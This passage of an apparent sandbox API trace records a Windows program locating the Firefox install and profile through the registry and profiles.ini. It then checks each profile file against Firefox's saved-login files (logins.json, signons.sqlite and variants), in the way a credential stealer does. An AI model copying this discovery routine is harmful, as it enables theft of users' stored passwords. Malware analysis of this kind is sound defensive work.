lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0xefba8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0047.998] RegCloseKey (hKey=0x39c) returned 0x0 [0047.998] LocalFree (hMem=0x75b918) returned 0x0 [0047.998] LocalFree (hMem=0x756820) returned 0x0 [0047.998] RegEnumKeyExA (in: hKey=0x398, dwIndex=0x1, lpName=0x75b090, lpcchName=0xefbdc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Uninstall", lpcchName=0xefbdc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0047.998] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)") returned 45 [0047.998] lstrlenA (lpString="\\") returned 1 [0047.998] LocalAlloc (uFlags=0x40, uBytes=0xaf) returned 0x750820 [0047.998] lstrcpyA (in: lpString1=0x750820, lpString2="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)" [0047.998] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)", lpString2="\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\" [0047.998] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\") returned 46 [0047.998] lstrlenA (lpString="Uninstall") returned 9 [0047.998] LocalAlloc (uFlags=0x40, uBytes=0xb8) returned 0x756820 [0047.998] lstrcpyA (in: lpString1=0x756820, lpString2="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\" [0047.998] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\", lpString2="Uninstall" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Uninstall") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Uninstall" [0047.998] LocalFree (hMem=0x750820) returned 0x0 [0047.998] StrStrIA (lpFirst="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Uninstall", lpSrch="Firefox") returned="Firefox\\25.0 (en-US)\\Uninstall" [0047.998] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Uninstall", ulOptions=0x0, samDesired=0x20019, phkResult=0xefb64 | out: phkResult=0xefb64*=0x39c) returned 0x0 [0047.998] RegQueryValueExA (in: hKey=0x39c, lpValueName="PathToExe", lpReserved=0x0, lpType=0xefb5c, lpData=0x0, lpcbData=0xefb60*=0x7 | out: lpType=0xefb5c*=0x0, lpData=0x0, lpcbData=0xefb60*=0x0) returned 0x2 [0047.998] RegCloseKey (hKey=0x39c) returned 0x0 [0047.998] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Uninstall", ulOptions=0x0, samDesired=0x20219, phkResult=0xefb38 | out: phkResult=0xefb38*=0x39c) returned 0x0 [0047.998] RegQueryValueExA (in: hKey=0x39c, lpValueName="PathToExe", lpReserved=0x0, lpType=0xefb30, lpData=0x0, lpcbData=0xefb34*=0xefb1c | out: lpType=0xefb30*=0x0, lpData=0x0, lpcbData=0xefb34*=0x0) returned 0x2 [0047.999] RegCloseKey (hKey=0x39c) returned 0x0 [0047.999] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Uninstall", ulOptions=0x0, samDesired=0x20119, phkResult=0xefb0c | out: phkResult=0xefb0c*=0x0) returned 0x2 [0047.999] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x75b918 [0047.999] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Uninstall", phkResult=0xefbb0 | out: phkResult=0xefbb0*=0x39c) returned 0x0 [0047.999] RegEnumKeyExA (in: hKey=0x39c, dwIndex=0x0, lpName=0x75b918, lpcchName=0xefba8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0xefba8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0047.999] RegCloseKey (hKey=0x39c) returned 0x0 [0047.999] LocalFree (hMem=0x75b918) returned 0x0 [0047.999] LocalFree (hMem=0x756820) returned 0x0 [0047.999] RegEnumKeyExA (in: hKey=0x398, dwIndex=0x2, lpName=0x75b090, lpcchName=0xefbdc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Uninstall", lpcchName=0xefbdc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0047.999] RegCloseKey (hKey=0x398) returned 0x0 [0047.999] LocalFree (hMem=0x75b090) returned 0x0 [0047.999] LocalFree (hMem=0x7508d8) returned 0x0 [0047.999] RegEnumKeyExA (in: hKey=0x394, dwIndex=0x1, lpName=0x75a808, lpcchName=0xefc10, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="25.0 (en-US)", lpcchName=0xefc10, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0047.999] RegCloseKey (hKey=0x394) returned 0x0 [0047.999] LocalFree (hMem=0x75a808) returned 0x0 [0047.999] LocalFree (hMem=0x754820) returned 0x0 [0047.999] RegEnumKeyExA (in: hKey=0x390, dwIndex=0x2, lpName=0x74ccd0, lpcchName=0xefc44, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Mozilla Firefox 25.0", lpcchName=0xefc44, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0047.999] lstrlenA (lpString="Software\\Mozilla") returned 16 [0047.999] lstrlenA (lpString="\\") returned 1 [0047.999] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x716ef8 [0047.999] lstrcpyA (in: lpString1=0x716ef8, lpString2="Software\\Mozilla" | out: lpString1="Software\\Mozilla") returned="Software\\Mozilla" [0047.999] lstrcatA (in: lpString1="Software\\Mozilla", lpString2="\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0047.999] lstrlenA (lpString="Software\\Mozilla\\") returned 17 [0047.999] lstrlenA (lpString="Mozilla Firefox 25.0") returned 20 [0047.999] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x754820 [0047.999] lstrcpyA (in: lpString1=0x754820, lpString2="Software\\Mozilla\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0047.999] lstrcatA (in: lpString1="Software\\Mozilla\\", lpString2="Mozilla Firefox 25.0" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0") returned="Software\\Mozilla\\Mozilla Firefox 25.0" [0047.999] LocalFree (hMem=0x716ef8) returned 0x0 [0047.999] StrStrIA (lpFirst="Software\\Mozilla\\Mozilla Firefox 25.0", lpSrch="Firefox") returned="Firefox 25.0" [0047.999] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox 25.0", ulOptions=0x0, samDesired=0x20019, phkResult=0xefbcc | out: phkResult=0xefbcc*=0x394) returned 0x0 [0047.999] RegQueryValueExA (in: hKey=0x394, lpValueName="PathToExe", lpReserved=0x0, lpType=0xefbc4, lpData=0x0, lpcbData=0xefbc8*=0x7 | out: lpType=0xefbc4*=0x0, lpData=0x0, lpcbData=0xefbc8*=0x0) returned 0x2 [0047.999] RegCloseKey (hKey=0x394) returned 0x0 [0047.999] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox 25.0", ulOptions=0x0, samDesired=0x20219, phkResult=0xefba0 | out: phkResult=0xefba0*=0x394) returned 0x0 [0047.999] RegQueryValueExA (in: hKey=0x394, lpValueName="PathToExe", lpReserved=0x0, lpType=0xefb98, lpData=0x0, lpcbData=0xefb9c*=0xefb84 | out: lpType=0xefb98*=0x0, lpData=0x0, lpcbData=0xefb9c*=0x0) returned 0x2 [0047.999] RegCloseKey (hKey=0x394) returned 0x0 [0047.999] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox 25.0", ulOptions=0x0, samDesired=0x20119, phkResult=0xefb74 | out: phkResult=0xefb74*=0x0) returned 0x2 [0048.000] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x75a808 [0048.000] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox 25.0", phkResult=0xefc18 | out: phkResult=0xefc18*=0x394) returned 0x0 [0048.000] RegEnumKeyExA (in: hKey=0x394, dwIndex=0x0, lpName=0x75a808, lpcchName=0xefc10, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="bin", lpcchName=0xefc10, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0048.000] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox 25.0") returned 37 [0048.000] lstrlenA (lpString="\\") returned 1 [0048.000] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x7548d0 [0048.000] lstrcpyA (in: lpString1=0x7548d0, lpString2="Software\\Mozilla\\Mozilla Firefox 25.0" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0") returned="Software\\Mozilla\\Mozilla Firefox 25.0" [0048.000] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0", lpString2="\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0\\") returned="Software\\Mozilla\\Mozilla Firefox 25.0\\" [0048.000] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox 25.0\\") returned 38 [0048.000] lstrlenA (lpString="bin") returned 3 [0048.000] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x7508d8 [0048.000] lstrcpyA (in: lpString1=0x7508d8, lpString2="Software\\Mozilla\\Mozilla Firefox 25.0\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0\\") returned="Software\\Mozilla\\Mozilla Firefox 25.0\\" [0048.000] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0\\", lpString2="bin" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0\\bin") returned="Software\\Mozilla\\Mozilla Firefox 25.0\\bin" [0048.000] LocalFree (hMem=0x7548d0) returned 0x0 [0048.000] StrStrIA (lpFirst="Software\\Mozilla\\Mozilla Firefox 25.0\\bin", lpSrch="Firefox") returned="Firefox 25.0\\bin" [0048.000] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox 25.0\\bin", ulOptions=0x0, samDesired=0x20019, phkResult=0xefb98 | out: phkResult=0xefb98*=0x398) returned 0x0 [0048.000] RegQueryValueExA (in: hKey=0x398, lpValueName="PathToExe", lpReserved=0x0, lpType=0xefb90, lpData=0x0, lpcbData=0xefb94*=0x7 | out: lpType=0xefb90*=0x1, lpData=0x0, lpcbData=0xefb94*=0x33) returned 0x0 [0048.000] LocalAlloc (uFlags=0x40, uBytes=0xb4) returned 0x756820 [0048.000] RegQueryValueExA (in: hKey=0x398, lpValueName="PathToExe", lpReserved=0x0, lpType=0x0, lpData=0x756820, lpcbData=0xefb94*=0x33 | out: lpType=0x0, lpData=0x756820*=0x43, lpcbData=0xefb94*=0x33) returned 0x0 [0048.000] RegCloseKey (hKey=0x398) returned 0x0 [0048.000] lstrlenA (lpString="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe") returned 50 [0048.000] lstrlenA (lpString="") returned 0 [0048.000] LocalAlloc (uFlags=0x40, uBytes=0xb3) returned 0x7568e0 [0048.000] lstrcpyA (in: lpString1=0x7568e0, lpString2="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe" | out: lpString1="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe") returned="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe" [0048.000] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe", lpString2="" | out: lpString1="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe") returned="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe" [0048.000] lstrlenA (lpString="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe") returned 50 [0048.000] StrStrIA (lpFirst="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe", lpSrch=".exe") returned=".exe" [0048.000] StrRChrIA (lpStart="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe", lpEnd=0x0, wMatch=0x5c) returned="\\firefox.exe" [0048.000] lstrlenA (lpString="C:\\Program Files (x86)\\Mozilla Firefox") returned 38 [0048.000] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x7469f0 [0048.000] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x7469f0 | out: pszPath="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned 0x0 [0048.000] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned 39 [0048.000] lstrlenA (lpString="\\Mozilla\\Firefox\\") returned 17 [0048.000] LocalAlloc (uFlags=0x40, uBytes=0xb9) returned 0x74a670 [0048.000] lstrcpyA (in: lpString1=0x74a670, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming" [0048.000] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming", lpString2="\\Mozilla\\Firefox\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\" [0048.000] LocalFree (hMem=0x7469f0) returned 0x0 [0048.000] GetFileAttributesA (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\mozilla\\firefox")) returned 0x2010 [0048.000] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox" (normalized: "c:\\program files (x86)\\mozilla firefox")) returned 0x10 [0048.001] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\") returned 56 [0048.001] lstrlenA (lpString="") returned 0 [0048.001] LocalAlloc (uFlags=0x40, uBytes=0xb9) returned 0x74a738 [0048.001] lstrcpyA (in: lpString1=0x74a738, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\" [0048.001] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\", lpString2="" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\" [0048.001] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\") returned 56 [0048.001] lstrlenA (lpString="profiles.ini") returned 12 [0048.001] LocalAlloc (uFlags=0x40, uBytes=0xc5) returned 0x745b68 [0048.001] lstrcpyA (in: lpString1=0x745b68, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\" [0048.001] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\", lpString2="profiles.ini" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini" [0048.001] LocalAlloc (uFlags=0x40, uBytes=0xfe6a) returned 0x9401750 [0048.001] LocalAlloc (uFlags=0x40, uBytes=0x1080) returned 0x75b090 [0048.001] CreateFileA (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\mozilla\\firefox\\profiles.ini"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0048.001] CloseHandle (hObject=0x398) returned 1 [0048.002] GetPrivateProfileSectionNamesA (in: lpszReturnBuffer=0x9401750, nSize=0xfde8, lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini" | out: lpszReturnBuffer="General") returned 0x11 [0048.003] StrStrIA (lpFirst="General", lpSrch="Profile") returned 0x0 [0048.003] StrStrIA (lpFirst="Profile0", lpSrch="Profile") returned="Profile0" [0048.003] GetPrivateProfileStringA (in: lpAppName="Profile0", lpKeyName="Path", lpDefault="", lpReturnedString=0x75b090, nSize=0xfff, lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini" | out: lpReturnedString="Profiles/asmpdd98.default") returned 0x19 [0048.004] GetPrivateProfileIntA (lpAppName="Profile0", lpKeyName="IsRelative", nDefault=1, lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini") returned 0x1 [0048.006] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\") returned 56 [0048.006] lstrlenA (lpString="Profiles/asmpdd98.default") returned 25 [0048.006] LocalAlloc (uFlags=0x40, uBytes=0xd2) returned 0x74d860 [0048.006] lstrcpyA (in: lpString1=0x74d860, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\" [0048.006] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\", lpString2="Profiles/asmpdd98.default" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles/asmpdd98.default") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles/asmpdd98.default" [0048.006] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned 81 [0048.006] lstrlenA (lpString="\\*.*") returned 4 [0048.006] LocalAlloc (uFlags=0x40, uBytes=0xd6) returned 0x7469f0 [0048.006] lstrcpyA (in: lpString1=0x7469f0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" [0048.006] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\*.*" [0048.006] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\*.*", lpFindFileData=0xefa30 | out: lpFindFileData=0xefa30) returned 0x72dc90 [0048.006] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0048.006] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefa30 | out: lpFindFileData=0xefa30) returned 1 [0048.006] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0048.006] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0048.006] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefa30 | out: lpFindFileData=0xefa30) returned 1 [0048.006] StrStrIA (lpFirst="addons.json", lpSrch="signons.sqlite") returned 0x0 [0048.006] lstrlenA (lpString="addons.json") returned 11 [0048.006] StrStrIA (lpFirst="addons.json", lpSrch="logins.json") returned 0x0 [0048.006] StrStrIA (lpFirst="addons.json", lpSrch="signons.txt") returned 0x0 [0048.006] StrStrIA (lpFirst="addons.json", lpSrch="signons2.txt") returned 0x0 [0048.006] StrStrIA (lpFirst="addons.json", lpSrch="signons3.txt") returned 0x0 [0048.006] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefa30 | out: lpFindFileData=0xefa30) returned 1 [0048.007] lstrcmpiA (lpString1=".", lpString2="bookmarkbackups") returned -1 [0048.007] lstrcmpiA (lpString1="..", lpString2="bookmarkbackups") returned -1 [0048.007] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned 81 [0048.007] lstrlenA (lpString="\\") returned 1 [0048.007] LocalAlloc (uFlags=0x40, uBytes=0xd3) returned 0x746ad0 [0048.007] lstrcpyA (in: lpString1=0x746ad0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" [0048.007] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" [0048.007] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned 82 [0048.007] lstrlenA (lpString="bookmarkbackups") returned 15 [0048.007] LocalAlloc (uFlags=0x40, uBytes=0xe2) returned 0x74d998 [0048.007] lstrcpyA (in: lpString1=0x74d998, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" [0048.007] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\", lpString2="bookmarkbackups" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\bookmarkbackups") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\bookmarkbackups" [0048.007] LocalFree (hMem=0x746ad0) returned 0x0 [0048.007] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\bookmarkbackups") returned 97 [0048.007] lstrlenA (lpString="\\*.*") returned 4 [0048.007] LocalAlloc (uFlags=0x40, uBytes=0xe6) returned 0x74da88 [0048.007] lstrcpyA (in: lpString1=0x74da88, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\bookmarkbackups" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\bookmarkbackups") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\bookmarkbackups" [0048.007] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\bookmarkbackups", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\bookmarkbackups\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\bookmarkbackups\\*.*" [0048.007] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\bookmarkbackups\\*.*", lpFindFileData=0xef8c8 | out: lpFindFileData=0xef8c8) returned 0x72dcd0 [0048.007] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0048.007] FindNextFileA (in: hFindFile=0x72dcd0, lpFindFileData=0xef8c8 | out: lpFindFileData=0xef8c8) returned 1 [0048.007] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0048.007] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0048.007] FindNextFileA (in: hFindFile=0x72dcd0, lpFindFileData=0xef8c8 | out: lpFindFileData=0xef8c8) returned 1 [0048.007] StrStrIA (lpFirst="bookmarks-2017-06-30_5.json", lpSrch="signons.sqlite") returned 0x0 [0048.007] lstrlenA (lpString="bookmarks-2017-06-30_5.json") returned 27 [0048.007] StrStrIA (lpFirst="bookmarks-2017-06-30_5.json", lpSrch="logins.json") returned 0x0 [0048.007] StrStrIA (lpFirst="bookmarks-2017-06-30_5.json", lpSrch="signons.txt") returned 0x0 [0048.007] StrStrIA (lpFirst="bookmarks-2017-06-30_5.json", lpSrch="signons2.txt") returned 0x0 [0048.007] StrStrIA (lpFirst="bookmarks-2017-06-30_5.json", lpSrch="signons3.txt") returned 0x0 [0048.007] FindNextFileA (in: hFindFile=0x72dcd0, lpFindFileData=0xef8c8 | out: lpFindFileData=0xef8c8) returned 0 [0048.007] FindClose (in: hFindFile=0x72dcd0 | out: hFindFile=0x72dcd0) returned 1 [0048.007] LocalFree (hMem=0x74da88) returned 0x0 [0048.007] LocalFree (hMem=0x74d998) returned 0x0 [0048.007] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefa30 | out: lpFindFileData=0xefa30) returned 1 [0048.007] StrStrIA (lpFirst="cert8.db", lpSrch="signons.sqlite") returned 0x0 [0048.007] lstrlenA (lpString="cert8.db") returned 8 [0048.007] StrStrIA (lpFirst="cert8.db", lpSrch="logins.json") returned 0x0 [0048.007] StrStrIA (lpFirst="cert8.db", lpSrch="signons.txt") returned 0x0 [0048.007] StrStrIA (lpFirst="cert8.db", lpSrch="signons2.txt") returned 0x0 [0048.007] StrStrIA (lpFirst="cert8.db", lpSrch="signons3.txt") returned 0x0 [0048.007] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefa30 | out: lpFindFileData=0xefa30) returned 1 [0048.007] StrStrIA (lpFirst="compatibility.ini", lpSrch="signons.sqlite") returned 0x0 [0048.007] lstrlenA (lpString="compatibility.ini") returned 17 [0048.007] StrStrIA (lpFirst="compatibility.ini", lpSrch="logins.json") returned 0x0 [0048.007] StrStrIA (lpFirst="compatibility.ini", lpSrch="signons.txt") returned 0x0 [0048.007] StrStrIA (lpFirst="compatibility.ini", lpSrch="signons2.txt") returned 0x0 [0048.007] StrStrIA (lpFirst="compatibility.ini", lpSrch="signons3.txt") returned 0x0 [0048.008] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefa30 | out: lpFindFileData=0xefa30) returned 1 [0048.008] StrStrIA (lpFirst="content-prefs.sqlite", lpSrch="signons.sqlite") returned 0x0 [0048.008] lstrlenA (lpString="content-prefs.sqlite") returned 20 [0048.008] StrStrIA (lpFirst="content-prefs.sqlite", 